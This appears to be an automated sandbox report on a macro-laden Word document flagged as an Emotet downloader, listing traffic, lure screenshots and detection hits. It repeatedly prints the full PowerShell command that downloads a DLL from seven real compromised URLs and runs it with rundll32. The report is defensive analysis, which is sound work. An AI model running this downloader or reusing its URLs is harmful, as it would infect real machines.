Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://roaming.edog.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://settings.outlook.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://tasks.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

Source: unknown

DNS traffic detected: queries for: primtalent.com

Source: global traffic	HTTP traffic detected: GET /wp-admin/9yt1u/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: primtalent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wordpress/6f0qIQlWPaYDfa/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: huskysb.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: huskysb.com

E-Banking Fraud:

Yara detected Emotet Downloader

Source: Yara match

File source: C:\Users\user\Documents\20211122\PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt, type: DROPPED

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. Page1 of 1 Owords 112 O Typ
Source: Screenshot number: 4	Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Screenshot number: 4	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4	Screenshot OCR: ENABLE CONTENT" buttons to preview this document. Page1 of 1 Owords 112 O Type here to search m %
Source: Screenshot number: 8	Screenshot OCR: ENABLE EDITING" and "ENABLEOTENT" buttons to pcenew thiS Document O O O Page1 of 1 Owords It? O T
Source: Screenshot number: 8	Screenshot OCR: DOCUMENT IS PROTECTED # M,,,o,m I Shortcut Tools Use these buttons to quickly customize your obje
Source: Screenshot number: 8	Screenshot OCR: protected documents O You have to press "ENABLE EDITING" and "ENABLEOTENT" buttons to pcenew thiS D
Source: Document image extraction number: 0	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0	Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 0	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0	Screenshot OCR: ENABLE CONTENT" buttons to preview this document.

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: ~DF0E259767A8C316A9.TMP.0.dr

Stream path 'VBA/cvbku3gakuisdgfilu3gblaw' : found possibly 'ADODB.Stream' functions open, read, write

Document contains an embedded VBA macro which may execute processes

Source: VBA code instrumentation	OLE, VBA macro: Module cvbku3gakuisdgfilu3gblaw, Function fjow3efyw98efhasdokfhlnkvawofh3, API Object.Run("cmd.exe /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj",0:Integer)			Name: fjow3efyw98efhasdokfhlnkvawofh3
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE, VBA macro line: JbxHook_Run_2__ob = jbxthis.Run(jbxparam0, jbxparam1)

Yara signature match

Source: C:\Users\user\AppData\Local\Temp\~DF0E259767A8C316A9.TMP, type: DROPPED

Matched rule: SUSP_VBA_FileSystem_Access date = 2019-06-21, author = Florian Roth, description = Detects suspicious VBA that writes to disk and is activated on document open, reference = Internal Research, score = 52262bb315fa55b7441a04966e176b0e26b7071376797e35c80aa60696b6d6fc

Document has an unknown application name

Source: 704.doc	OLE indicator application name: unknown
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE indicator application name: unknown
Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr	OLE indicator application name: unknown

Document contains an embedded VBA macro which executes code when the document is opened / closed

Source: 704.doc	OLE, VBA macro line: Private Sub Document_Open(): Dim gzjohestiha4otihsdoa8ef As String
Source: VBA code instrumentation	OLE, VBA macro: Module cvbku3gakuisdgfilu3gblaw, Function Document_Open	Name: Document_Open
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE, VBA macro line: Private Sub Document_Open()

Document misses a certain OLE stream usually present in this Microsoft Office document type

Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Document contains no OLE stream with summary information

Source: 704.doc	OLE indicator has summary info: false
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE indicator has summary info: false
Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr	OLE indicator has summary info: false

Document contains embedded VBA macros

Source: 704.doc	OLE indicator, VBA macros: true
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE indicator, VBA macros: true

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\syswow64\rundll32.exe" c:\programdata\646848703.dll,f1349786762
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\syswow64\rundll32.exe" c:\programdata\646848703.dll,f1349786762	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{0BD9A190-463A-4553-980B-C9C874C86222} - OProcSessId.dat

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winDOC@8/18@2/2

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\syswow64\rundll32.exe" c:\programdata\646848703.dll,f1349786762

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6220:120:WilError_01

Source: 704.doc	OLE document summary: title field not present or empty
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE document summary: title field not present or empty
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE document summary: author field not present or empty
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE document summary: edited time not present or 0
Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source: ~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Data Obfuscation:

Document contains an embedded VBA with many string operations indicating source code obfuscation

Source: ~DF0E259767A8C316A9.TMP.0.dr

Stream path 'VBA/cvbku3gakuisdgfilu3gblaw' : High number of string operations

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj			Jump to behavior

Obfuscated command line found

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj	Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
